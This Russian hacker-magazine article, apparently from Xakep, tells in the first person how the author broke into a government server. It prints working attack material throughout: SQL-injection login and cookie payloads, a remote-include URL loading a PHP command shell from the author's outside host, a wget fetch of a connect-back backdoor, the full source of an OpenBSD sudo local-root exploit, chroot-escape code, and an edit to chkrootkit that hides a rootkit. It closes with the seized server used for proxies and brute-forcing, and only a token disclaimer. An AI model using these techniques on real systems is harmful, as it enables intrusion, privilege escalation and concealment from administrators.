...Анархическое общество будет обществом без бюрократии, без денег и без рынка, или его не будет вообще.
Вадим Дамье, "Экономика Свободы" 

 

В этой статье я хочу рассказать о взломе одного государственного проекта, имя которого умолчу, т.к. такой сервер - лакомый кусочек для хакера
:).

Из онлайна в онлайн

Первым делом мне надо было найти жертву. Я зашел к своему старому другу - google.ru и дал ему таковой запрос:

site:gov filetype:php

Гугл без сомнений дал мне кучу линков, среди которых я натолкнулся на интересный мне
проектик - www.example.gov (название вымышленное). Я быстро зарядил свежий прокси-сервер, дабы не попасться нашем людям в сером
(и уж тем более, в черном :)). Я начал поиск скриптов. Точнее я и не искал, после второго клика я нашел такую вещь,
назовем ее VIP-зоной - зайти в нее можно было только VIP-юзерам, которые имели в ней свой специальный логин и пароль. Ну
что же... Я решил узнать имя какого-либо юзера, имеющего доступ в VIP-зону. Опять покликал по ссылкам, но ничего не нашел кроме самого админа (логин admin). Я решил войти в VIP-зону без пароля, как любой приличный онлайн-анархист, заюзав SQL-инъекцию. К моему счастью, скрипт действительно был болен sql-инъекцией и я составил такой запрос:

' or login='admin'/* 

и поместил в поле 'Логин'... Долго ли, короко ли, но страница загрузилась.
"Огого! Да тут оказывается целый хостнг!" - воскликнул я, сильно
удивившись. И в правду: там юзер мог зарегить своё мыло, там лежали какие-то документы и всякая чушь. Я быстро зарегил мыло Inf3ct0r@example.gov и был в не себя от радости, что я обладатель мыла в зоне .gov :). Но это было мне не особо нужно :).
Я остановился, осмотрелся. Документы были конечно интересны, но я хотел получить больше информации, научиться исполнять команды и т.д.,
даже, возможно, получить рут-шелл 🙂 Но я решил таки добить VIP-зону 😉 и не сдаваться...

Через минут 10 ко мне пришла интересная идея, которую грех было не
опробовать - эта идея - SQL инъекция, осуществляемая при помощи cookies'ов.
На сайте можно было размещать документы в формате pdf
- что никаких примочек дать не могло, но я все же
попробовал разместить свою PDF'ку, в которой даже не было ничего написано :). Разместил, зашел на email Inf3ct0r@example.gov и увидел письмо от
service@example.gov. Суть была такова: "Уважаемый admin, ... ... ... ... , Ваша документация ... ... ... ... и т.д и т.п...". "Прокатит", - подумал я. И начал инжектировать кукисы :).
В бразуере я посмотрел cookies'ы example.gov:

SERVER: www.example.gov
NAME: resid
VALUE: 34kjd45445jf45454a346034124a37p950g42 // значение выдуманное 🙂

Я составил SQL запрос:

' UNION SELECT * FROM users WHERE resid='34kjd45445jf45454a346034124a37p950g42' /*

И поместил его в значение resid (в поле VALUE).

Далее я разместил еще одну PDF'ку и ко мне на мыло пришло сообщение:
"Уважаемый security60854reason, ... ... ... ... , Ваша документация ... ... ... ... и т.д и т.п...". 

Итак, я удалил этот email (кстати, я выставил его при регистрации как 'использовать для оповещений по умолчанию'), дабы не оставлять улики. Я стянул пароль админа от VIP-зоны.
Н о зачем мне это? А затем, что я уже привык, что огромное количество админов ставят на все одинаковые пароли. Решил
опробовать:

Логин: admin
Пароль: security60854reason

Но к сожалению, я недооценил админа, пароль не подошел. Возможно, мама не научила его защищать свои скрипт от SQL-инъекций, но ставить ко всему разные пароли - да.
Кстати, есть еще действительный метод с паролями:
например, я получал пасс админа, допустим, cgiphp735overflow - и если он не подходил к админке (или чему либо), то брутил в ручную,
просто переставлял слова. Например, overflow735cgiphp или phpcgi735overflow и т.д... И это часто помогало :). Что-то я отвлекся.

Пробежка от МакДоналдса или снова в Онлайн
>:)

Итак, вход в VIP-зону особых возможностей не давал, получение пароля админа от VIP-зоны тоже не
принесло успехов, что же остается? Поиск других бажных скриптов >:(
Я отложил взлом на следующий день. На утро, как полагается настоящему анархисту, я пошел в парикмахерскую, сварганил себе крутой ирокез, затем пошел под МакДональдс и все там разгромил, предварительно
купив бутерброд на свои кровно заработанные
деньги (для серьезных: это была шутка). После отличной пробежки я включил свой компьютер и опять стал Online-анархистом :). 

Я снова включил браузер, проверил работоспособность проксика и приступил к поиску бажных скриптов.
Я долго кликал по разным ссылкам, но бажный скрипт мне либо не
попадался на глаза, либо я просто плохо тестировал его на уязвимости 🙂
Но я не разочаровывался, а весело хрумкая вчерашним бутербродом из МакДоналдса, зашел к Гуглу
и отправил такой запрос:

site:www.example.gov filetype:php

И поисковая машина быстро выдала мне кучу ликов на PHP-скрипты. Я не сразу обратил внимание на одну ссылку, которая была в самом конце, но все же
ее заметил. Скрипт documents.php был неправильно написан, да так, что я мог заюзать include()-баг!

http://www.example.gov/documents.php?docum= users&file=http://www.infectors-xoct.narod.ru/
cmd2.php&cmd=ls; 

Я не поверил своим глазам :). На экране красовался листинг файлов, выведенный при помощи команды ls. Но первый скрипт cmd.php не работал: Сам же скрипт cmd.php выглядел так:

echo "
”;
system($_GET['cmd']);
echo "
”;
?>

А второй, с которым все просто летало, был не с функцией system( ), а с passthru( ):

echo "
”;
passthru($_GET['cmd']);
echo "
”;
?>

Я заранее создал два скрипта, т.к. я очень привык к таким ситуациям с этими функциями.
На часах было уже три, за окном темно, но лечь спать я не мог - я это прекрасно понимал.
Я выполнил команду id:

http://www.example.gov/documents.php?docum=users& file=http://www.infectors-xoct.narod.ru/cmd.php
&cmd=id;

Команда выполнилась - мои права: nobody. Nobody - это круто!
Далее последовала команда uname -a, дабы узнать больше о системе.
Оп-Па! OpenBSD 3.6, под него только недавно вышел свежайший локальный сплойт от Rush Security Team - r57sudo.c, который поднимает
привилегии до root! Возможно админ не пропатчил ось и она все еще дырявая 🙂 Надо действовать быстрее, пока админы не проснулись и не начали патчить свои ОС.
Я по обычаю решил установить бэкдор - connback - классику
отечественных потайных кодов :), предварительно спрятав его в папке /tmp/

cd /tmp;
wget –O connback.c http://www.infectors-xoct.narod.ru/connback.c;

Приконнектившись к бэкдору с помощью Putty я продолжил своё злостное дело. А дело было таково: скачать сплойт от RST и заюзать его. К сожалению, линк на
сплойт не помню, т.к. я держал его на своем HDD, а затем залил на свой сайт, хостящийся на народ.ру -
http://www.infectors-xoct.narod.ru/r57sudo.c. Будет бессмысленно рассказывать о взломе, без прочтения исходного кода эксплойта:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sysexits.h>
#include <sys/wait.h> 
#define SUDO "/usr/bin/sudo"
#ifdef BUFSIZ 
#undef BUFSIZ 
#define BUFSIZ 128 
#endif 
/* 
ANY MODIFIED REPUBLISHING IS RESTRICTED 
OpenBSD sudo 1.3.1 - 1.6.8p local root exploit 
Tested under OpenBSD 3.6 sudo 1.6.7p5 
Vuln by OpenBSD errata, http://www.openbsd.org/errata.html 
(c)oded by __blf 2005 RusH Security Team, http://rst.void.ru 
Race condition in path name, can take a while to exploit 
Gr33tz: x97Rang, whice, rsh, MishaSt, Inck-Vizitor, BlackPrince 
Fuck lamerz: Saint_I, nmalykh 
All rights reserved. 
ANY MODIFIED REPUBLISHING IS RESTRICTED 
*/ 
int main (int argc, char ** argv) 

pid_t pid; 
void * buffer; 
char * exec, * race, * path; 
if(argc != 3) 

fprintf(stderr, "r57sudo.c by __blf\n"); 
fprintf(stderr, "RusH Security Team\n"); 
fprintf(stderr, "Usage: %s <sudo full path command> <sudo command>\n", argv[0]); 
fprintf(stderr, "e.g. ./r57sudo /bin/ls ls\n"); 
return EX_USAGE; 

pid = fork(); 
if(pid == 0) 

while(1) 

exec = (char *)calloc(BUFSIZ, sizeof(char)); 
race = (char *)calloc(BUFSIZ, sizeof(char)); 
bzero(exec, sizeof(exec)); 
snprintf(exec, BUFSIZ, "ln -fs %s /tmp/%s", argv[1], argv[2]); 
system((char *)exec); 
bzero(race, sizeof(race)); 
snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]); 
system((char *)race); 
bzero(race, sizeof(race)); 
snprintf(race, BUFSIZ, "ln -fs /bin/sh /tmp/%s", argv[2]); 
system((char *)race); 
bzero(race, sizeof(race)); 
snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]); 
system((char *)race); 


if(pid > 0) 

while(1) 

path = (char *)calloc(BUFSIZ/2, sizeof(char)); 
snprintf(path, BUFSIZ/2, "%s /tmp/%s", SUDO, argv[2]); 
system((char *)path); 


Я скачал (wget) сплойт, откомпилировал (gcc). Запустил. Все. Теперь я получил
привилегии root'a [aka] суперпользователя. Но это еще не все! 

Дестрой chroot'a

Итак, вскоре узнав, что на сервере стоит chroot, я спешил его сломать. Как хорошо, что у меня уже были рутовые
привилегии, т.к сломать chroot без привилегий суперпользователя - невозможно. Может быть и можно, но на данный момент такой атаки не существует. Но хочу заметить, что права не совсем обязательны - главное получить доступ к
командному интерпретатора root'a, т.е. научиться выполнять команды от имени суперпользователя - это главное... 
Итак, я сделал следующее: я создал дескриптор для текущей корневой директории dir_fd, создал директорию mkdir, сменил с помощью chroot корень на вновь созданную папку, выполнил команду fchdir() для смены рабочей директории, находящуюся вне оболочки chroot, используя ранее созданный декриптор, выполнил команду chdir(..);, чтобы выполнит смену рабочей директории на вышестоящую, выполнил команду chroot(), чтобы закрепить позиции.

Вот, кстати, скрипт на C++ для выхода из chroot:

// Программа для выхода из окружения chroot
#include <stdio.h> 
#include <fcntl.h> 
#include <string.h> 
#include <unistd.h> 
#include <sys/stat.h> 
#include <sys/types.h> 
#define TEMP_DIR "tmp" 
int main() { 
int x; 
int dir_fd; 
struct stat sbuf; 
if (stat(TEMP_DIR,&sbuf)<0) { 
if (errno==ENOENT) { 
if (mkdir(TEMP_DIR,0755)<0) { 
fprintf(stderr,"Failed to create %s - %s\n", TEMP_DIR, 
strerror(errno)); 
exit(1) 

} else { 
fprintf(stderr,"Failed to stat %s - %s\n", TEMP_DIR, 
strerror(errno)); 
exit(1); 

} else if (!S_ISDIR(sbuf.st_mode)) { 
fprintf(stderr,"Error - %s is not a directory!\n",TEMP_DIR); 
exit(1) 

if ((dir_fd=open(".",O_RDONLY))<0) { 
fprintf(stderr,"Failed to open "." for reading - %s\n", 
strerror(errno)); 
exit(1) 

if (chroot(TEMP_DIR)<0) { 
fprintf(stderr,"Failed to chroot to %s - %s\n",TEMP_DIR, 
strerror(errno)); 
exit(1); 

if (fchdir(dir_fd)<0) { 
fprintf(stderr,"Failed to fchdir - %s\n", 
strerror(errno)); 
exit(1) 

close(dir_fd); 
for(x=0;x<20;x++) { //
Число переходов на уровень каталога выше. Установлено 20. Можно менять ))) 
chdir(".."); 

chroot("."); 
if (execl("/bin/sh","-i",NULL)<0) { 
fprintf(stderr,"Failed to exec - %s\n",strerror(errno)); 
exit(1); 



Обман chrootkit'a

Итак, я получил привилегии root и решил заразить систему руткитом для OpenBSD - OBSD rk1. Но тут проблемка - chrootkit. Для тех кто в танке, объясняю, что chrootkit - это система-IDS, находящая руткиты в системе и
сообщающая об этом админу. Как обмануть эту систему? Да просто. Обычное изменение исходного кода! 

Так вот. Начинаем дурить нашу "горе-проверялку". Открываем скрипт chkrootkit.
Думаю исходняк объяснять не надо - тут все очень просто, как QBasic
(для танкистов: chrootkit написан на bash). Ищем такой код:

### OpenBSD rootkit v1
if [ "${SYSTEM}" != "SunOS" -a ! -f ${ROOTDIR}usr/lib/security/libgcj.security ]; then
files=""
if [ "${QUIET}" != "t" ];then printn "Searching for OBSD rk v1... "; fi
files=`find ${ROOTDIR}usr/lib/security 2>/dev/null`
if [ "${files}" = "" -o "${SYSTEM}" = "HP-UX" ]; then
if [ "${QUIET}" != "t" ]; then echo "nothing found"; fi
else 
echo "${files}"
fi
fi

И изменяем как тут:

### OpenBSD rootkit v1
if [ "${SYSTEM}" != "SunOS" -a ! -f ${ROOTDIR}usr/lib/security/libgcj.security ]; then
files=""
if [ "${QUIET}" != "t" ];then printn "Searching for OBSD rk v1... "; fi
files=`find ${ROOTDIR}usr/lib/security 2>/dev/null`
if [ "${files}" = "" -o "${SYSTEM}" = "HP-UX" ]; then
if [ "${QUIET}" != "t" ]; then echo "nothing found"; fi
else
echo "nothing found"
fi
fi

Обратите внимание на оператор echo в правильном коде и в дурном )). Вот таков будет результат

Searching for OBSD rk v1... nothing found

Таким же методом можно скрыть руткит и от других ОС,
просто заменяя одну строку в куске кода, который находит XXX-руткит.
Все. Руткит мы успешно скрыли от большого кулака админа - парализовав его, и бдительного одноглазого chrootkit'a - выколов ему последний
глазик.

Заключение

В конце концов я исследовал весь сервер - это был отличный плацдарм для своих военных действий: мощный интернет канал, более 3 гигабайт памяти (!!!!!!!!!!!) и прочие вкусности. Я установил на сервере socks, сканирую чужаков :), произвожу брутфорсы и математические вычисления, благодаря которым вскоре узнаю, будет ли анархическое общество, обществом без бюрократии, без денег и без рынка, или его не будет вообще...

Как вычислю - скажу... Но об этом как-нибудь в другой раз...

P.S: Вся информация предоставлена в исключительно ознакомительных целях. Все совпадения - случайность.

Check Also

Неинновационные инновации. Откуда растут корни технологий Apple

Тройная камера, умный режим HDR, «ночной режим» Night Shift, True Tone, Liquid Retina Disp…

Оставить мнение